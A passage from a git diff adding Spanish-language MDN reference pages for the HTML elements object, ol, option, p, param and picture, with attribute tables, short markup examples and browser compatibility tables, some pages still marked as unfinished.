+ <dd>La dirección de la fuente, escrita como una URL válida. Al menos uno de los dos atributos, <strong>data</strong> o <strong>type</strong>, deben estar definidos. </dd>
+ <dt>{{HTMLAttrDef("declare")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The presence of this Boolean attribute makes this element a declaration only. The object must be instantiated by a subsequent <code>&lt;object&gt;</code> element. In HTML5, repeat the &lt;object&gt; element completely each that that the resource is reused.</dd>
+ <dt>{{HTMLAttrDef("form")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>El elemento form, si es que hay alguno, al que el objeto está asociado (su <em>form propietario</em>). El valor de este atributo debe ser el ID de un elemento {{HTMLElement("form")}} del mismo documento.</dd>
+ <dt>{{HTMLAttrDef("height")}}</dt>
+ <dd>La altura del recurso mostrado, en <a href="https://drafts.csswg.org/css-values/#px">CSS pixels</a>. -- (Valores absolutos unicamente. <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#dimension-attributes">NO percentages</a>)</dd>
+ <dt>{{HTMLAttrDef("name")}}</dt>
+ <dd>El nombre de un contexto de navegación válido (HTML5), o el nombre del control (HTML4).</dd>
+ <dt>{{HTMLAttrDef("standby")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>A message that the browser can show while loading the object's implementation and data.</dd>
+ <dt>{{HTMLAttrDef("tabindex")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The position of the element in the tabbing navigation order for the current document.</dd>
+ <dt>{{HTMLAttrDef("type")}}</dt>
+ <dd>El <a href="/en-US/docs/Glossary/Content_type">content type</a>  del recurso especificado mediante <strong>data</strong>. Al menos uno de los dos atributos, <strong>data</strong> o <strong>type</strong>, deben estar definidos. </dd>
+ <dt>{{HTMLAttrDef("typemustmatch")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Este valor booleano indica si el atributo <strong>type</strong> y el <a href="/en-US/docs/Glossary/Content_type">content type</a> real del recurso deben coincidir para porder ser usados.</dd>
+ <dt>{{HTMLAttrDef("usemap")}}</dt>
+ <dd>Una refercia hash-name a un elemento <span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{HTMLElement("map")}}; es decir un '#' seguido del valor de un {{htmlattrxref("name", "map")}} de un elemento map.</span></dd>
+ <dt>{{HTMLAttrDef("width")}}</dt>
+ <dd>El ancho del recurso mostrado, en  <a href="https://drafts.csswg.org/css-values/#px">CSS pixels</a>. -- (Valores absolutos unicamente. <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#dimension-attributes">NO percentages</a>)</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Incrustar_una_película_flash">Incrustar una película flash</h3>
+
+<pre class="brush: html">&lt;!-- Incrustar una película flash --&gt;
+&lt;object data="movie.swf"
+  type="application/x-shockwave-flash"&gt;&lt;/object&gt;
+
+&lt;!-- Incrustar una película flash con parámetros --&gt;
+&lt;object data="movie.swf" type="application/x-shockwave-flash"&gt;
+  &lt;param name="foo" value="bar"&gt;
+&lt;/object&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "embedded-content.html#the-object-element", "&lt;object&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "embedded-content-0.html#the-object-element", "&lt;object&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "struct/objects.html#h-13.3", "&lt;object&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.object")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("applet")}} {{Obsolete_Inline}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("param")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/ol/index.html b/files/es/web/html/elemento/ol/index.html
new file mode 100644
index 0000000000..f62713c92b
--- /dev/null
+++ b/files/es/web/html/elemento/ol/index.html
@@ -0,0 +1,132 @@
+---
+title: ol
+slug: Web/HTML/Elemento/ol
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/ol
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <code style="color: darkblue;">ol</code> permite definir listas o viñetas ordenadas (“Ordered List”), bien con numeración o alfabéticamente.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;ol&gt; y &lt;/ol&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_lista">Elemento de lista</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: uno o más elementos <a href="es/HTML/Elemento/li">li</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td></td>
+   <td></td>
+   <td>título del elemento</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td></td>
+   <td></td>
+   <td>información de estilo en línea</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td></td>
+   <td></td>
+   <td>identificador a nivel de documento</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td></td>
+   <td></td>
+   <td>identificador a nivel de documento</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td></td>
+   <td></td>
+   <td>dirección del texto</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td></td>
+   <td></td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">type</code></td>
+   <td>(1|a|A|i|I)</td>
+   <td>implícito</td>
+   <td>estilo de numeración</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">compact</code></td>
+   <td>compact</td>
+   <td>implícito</td>
+   <td>espacio entre objetos reducido</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">start</code></td>
+   <td>'un número'</td>
+   <td>implícito</td>
+   <td>número inicial de la secuencia</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="eval">&lt;ol&gt;
+ &lt;li&gt;punto uno&lt;/li&gt;
+ &lt;li&gt;punto dos&lt;/li&gt;
+ &lt;li&gt;punto tres&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<div class="highlight">
+<p>Se visualiza así:</p>
+
+<ol>
+ <li>punto uno</li>
+ <li>punto dos</li>
+ <li>punto tres</li>
+</ol>
+</div>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/option/index.html b/files/es/web/html/elemento/option/index.html
new file mode 100644
index 0000000000..3b97475475
--- /dev/null
+++ b/files/es/web/html/elemento/option/index.html
@@ -0,0 +1,150 @@
+---
+title: <option>
+slug: Web/HTML/Elemento/option
+tags:
+  - Elemento
+  - Formulários HTML
+  - Referencia
+  - Web
+  - formulários
+  - htmls
+translation_of: Web/HTML/Element/option
+---
+<div>{{HTMLRef}}</div>
+
+<p>En un formulario Web , el <strong>elemento</strong> <strong>HTML<em> </em><code>&lt;option&gt;</code><em>  </em></strong>se usa para representar un item dentro de un {{HTMLElement("select")}}, un  {{HTMLElement("optgroup")}} o un  elemento HTML5 {{HTMLElement("datalist")}} .</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Contenido de las categorías</a></th>
+   <td>Ninguna</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Texto con,  eventualmente, caracteres especiales (como <code>&amp;eacute;</code>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>La etiqueta de inicio es obligatoria. La etiqueta de finalización es opcional siempre que el elemento esté inmediatamente seguido por otro elemento<code> &lt;option&gt;</code> , por un {{HTMLElement("optgroup")}}, o si el elemento padre tiene no tiene más contenido</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td> {{HTMLElement("select")}}, o {{HTMLElement("optgroup")}} o un elemento {{HTMLElement("datalist")}} element.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLOptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento posee los  <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Si está establecido el elemento no se puede seleccionar. A menudo los navegadores ponen en gris el elemento y de esa manera no recibirá ningún evento de navegación como clicks de ratón o eventos relacionados con la obtención del foco. Si este atributo no está definido el elemento puede ser aún deshabilitado si uno de sus ancestros es un elemento {{HTMLElement("optgroup")}} deshabilitado.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Este atributo es el texto para la etiqueta que determina el significado de la opción. Si el atributo <code><strong>label</strong></code> no está definidio su valor será el texto del contenido del elemento
+ <div class="note"><em>Nota de Uso:  </em>El atributo <strong>label</strong> está diseñado para contener una etiqueta corta que se usará típicamente en un menú jerárquico. El <strong><code>atributo value</code></strong> describe una etiqueta más larga para ser usada, por ejemplo, cerca de un radio button</div>
+ </dd>
+ <dt>{{htmlattrdef("selected")}}</dt>
+ <dd>Si está presente, este atributo booleano indica si esta opción es la inicialmente seleccionada. Si el elemento <code>&lt;option&gt; es descendiente de un elemento </code>{{HTMLElement("select")}} cuyo  atributo {{htmlattrxref("multiple", "select")}}  no esté definidio únicamente un sólo  <code>&lt;option&gt;</code> de este elemento  {{HTMLElement("select")}} puede tener este atributo <strong>selected</strong> attribute.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>El contenido de este atributo representa el valor que será enviado al enviar el formulario si una determinada opción está seleccionada. Si se omite el atributo el valor  se tomará del texto del contenido del elemento option.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver los ejemplos {{HTMLElement("select")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;option&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>
+    <p>Definición inicial</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko no muestra el valor del atributo label como texto de la opción en caso de que el contenido del elemento esté vacío. Ver {{bug("1205213")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otro elemento relacionados con formularios: {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/es/web/html/elemento/p/index.html b/files/es/web/html/elemento/p/index.html
new file mode 100644
index 0000000000..5e9216b1f5
--- /dev/null
+++ b/files/es/web/html/elemento/p/index.html
@@ -0,0 +1,131 @@
+---
+title: p
+slug: Web/HTML/Elemento/p
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/p
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <a href="es/HTML/Elemento/p">p</a> (párrafo) es el apropiado para distribuir el texto en párrafos.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;p&gt; y &lt;/p&gt; (la de cierre es opcional).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>lista de clases separadas por espacios</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>uno de los siguientes:"ltr" o "rtl"</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">align</code></td>
+   <td>uno de los siguientes: "left", "center", "right", o "justify"</td>
+   <td>implícito</td>
+   <td>Indica la alineación horizontal con relación al contexto</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre>&lt;p&gt;
+Esto
+es un
+párrafo
+&lt;/p&gt;
+
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/text.html#edef-P">En la especificación del estándar</a></li>
+</ul>
+
+<p> </p>
+
+<div class="note">
+<p>¡Estamos en obras!... disculpen las molestias.<br>
+ Este documento está siendo editado, posiblemente contenga carencias y defectos.</p>
+
+<p>¿Quieres participar en la elaboración de este documento? Para más información sobre como ayudar o como empezar a hacerlo, consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/param/index.html b/files/es/web/html/elemento/param/index.html
new file mode 100644
index 0000000000..b9314fa0c1
--- /dev/null
+++ b/files/es/web/html/elemento/param/index.html
@@ -0,0 +1,131 @@
+---
+title: param
+slug: Web/HTML/Elemento/param
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/param
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>param</strong> de "parameter" = parámetro. Permite especificar parámetros de ejecución para un objeto.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;param&gt;</code> (solo tiene una).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: .</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Nada.
+
+ <dl>
+  <dd><strong>Puede ser contenido por</strong>: El elemento <a href="es/HTML/Elemento/object">object</a>, y el desaprobado <a href="es/HTML/Elemento/applet">applet</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-name-PARAM"><span style="color: green;">name </span></a></td>
+   <td>Referencia un nombre de parámetro de ejecución conocido por el objeto insertado.</td>
+   <td>Un nombre de parámetro de ejecución. Puede ser sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> (o no). <s>Por defecto</s>: Debe indicarlo el autor.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-value-PARAM"><span style="color: green;">value </span></a></td>
+   <td>Especifica un valor para el parámetro referenciado por name</td>
+   <td>Los valores de este atributo dependen del objeto a insertar</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-valuetype"><span style="color: green;">valuetype </span></a></td>
+   <td>especifica el tipo de atributo value.</td>
+   <td>Uno de los siguientes: <code>'data', 'ref' o 'object'</code>. Por defecto: <code>'data'</code>.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-type-PARAM"><span style="color: green;">type </span></a></td>
+   <td>Si el <code>valuetype</code> es 'ref', <code>type</code> sirve para indicar el tipo MIME del recurso referenciado.</td>
+   <td>Un tipo MIME. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="bla_bla" name="bla_bla">bla bla</h4>
+
+<pre class="eval"><span class="nowiki">
+
+ </span>
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#h-13.3.2."><strong>param</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-param">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/picture/index.html b/files/es/web/html/elemento/picture/index.html
new file mode 100644
index 0000000000..99d681da97
--- /dev/null
+++ b/files/es/web/html/elemento/picture/index.html
@@ -0,0 +1,161 @@
+---
+title: <picture>
+slug: Web/HTML/Elemento/picture
+tags:
+  - Elemento
+  - Fotografía
+  - Imagen
+  - graficos
+translation_of: Web/HTML/Element/picture
+---
+<div>{{HTMLRef}}{{SeeCompatTable}}</div>
+
+<p>El <strong>elemento HTML <code>&lt;picture&gt;</code> </strong>es un contenedor usado para especificar múltiples elementos {{HTMLElement("source")}} y un elemento {{HTMLElement("img")}} contenido en él para proveer versiones de una imagen para diferentes escenarios de dispositivos. Si no hay coincidencias con los elementos <code>&lt;source&gt;</code>, el archivo especificado en los atributos {{htmlattrxref("src", "img")}} del elemento <code>&lt;img&gt;</code> es utilizado. La imagen seleccionada es entonces presentada en el espacio ocupado por el elemento <code>&lt;img&gt;</code>.</p>
+
+<p>Para seleccionar la imagen óptima, el {{Glossary("user agent")}} examina cada atributo {{htmlattrxref("srcset", "source")}}, {{htmlattrxref("media", "source")}}, y {{htmlattrxref("type", "source")}} de la fuente para seleccionar la imagen compatible.</p>
+
+<p>El navegador escogerá la fuente más apropiada de acuerdo al diseño de la página (las limitaciones de la caja donde aparecerá la imagen) y el dispositivo que se utilize para visualizarla (p.ej. pantalla normal o hiDPI).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es-ES/docs/Web/HTML/Content_categories">Categorías de contenido</a></th>
+   <td><a href="/es-ES/docs/Web/HTML/Content_categories#flow_content">Flujo de contenido</a>, contenido textual o estático, contenido incrustado</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Cero o más elementos {{HTMLElement("source")}}, seguidos por un elemento {{HTMLElement("img")}}, mezclados opcionalmente con elementos script-supporting.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Cualquier elemento que permita embeber contenido.</td>
+  </tr>
+  <tr>
+   <th scope="row">ARIA roles permitidos</th>
+   <td>Ninguno.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLPictureElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento sólo incluye <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales.</a></p>
+
+
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p>Se puede usar la propiedad {{cssxref("object-position")}} para ajustar la posición de la imagen dentro del marco del elemento, y la propiedad {{cssxref("object-fit")}} para controlar como el tamaño de la imagen se ajusta para adaptarse al marco.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Estos ejemplos demuestran los efectos que tienen diferentes atributos del atributo {{HTMLElement("source")}} en la selección de la imagen a desplegar cuando se usa dentro de <code>&lt;picture&gt;</code>.</p>
+
+<h3 id="El_atributo_media">El atributo <code>media</code></h3>
+
+<p>El atributo <code>media</code> permite especificar una media query que el agente de usuario evaluará para seleccionar un elemento {{HTMLElement("source")}}. Si la media query evalua a <code>false</code>, el elemento {{HTMLElement("source")}} es omitido.</p>
+
+<pre class="brush: html">&lt;picture&gt;
+ &lt;source srcset="mdn-logo-wide.png" media="(min-width: 600px)"&gt;
+ &lt;img src="mdn-logo-narrow.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h3 id="El_atributo_type">El atributo <code>type</code></h3>
+
+<p>El atributo <code>type</code> permite especificar un tipo MIME para los recursos dados en el atributo srcset del elemento {{HTMLElement("source")}}. Si el agente de usuario no soporta dicho tipo, el elemento {{HTMLElement("source")}} es omitido.</p>
+
+<pre class="brush: html">​&lt;picture&gt;
+ &lt;source srcset="mdn-logo.svg" type="image/svg+xml"&gt;
+ &lt;img src="mdn-logo.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-picture-element', '&lt;picture&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>iOS 9.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Elemento {{HTMLElement("img")}}</li>
+ <li>Elemento {{HTMLElement("source")}}</li>
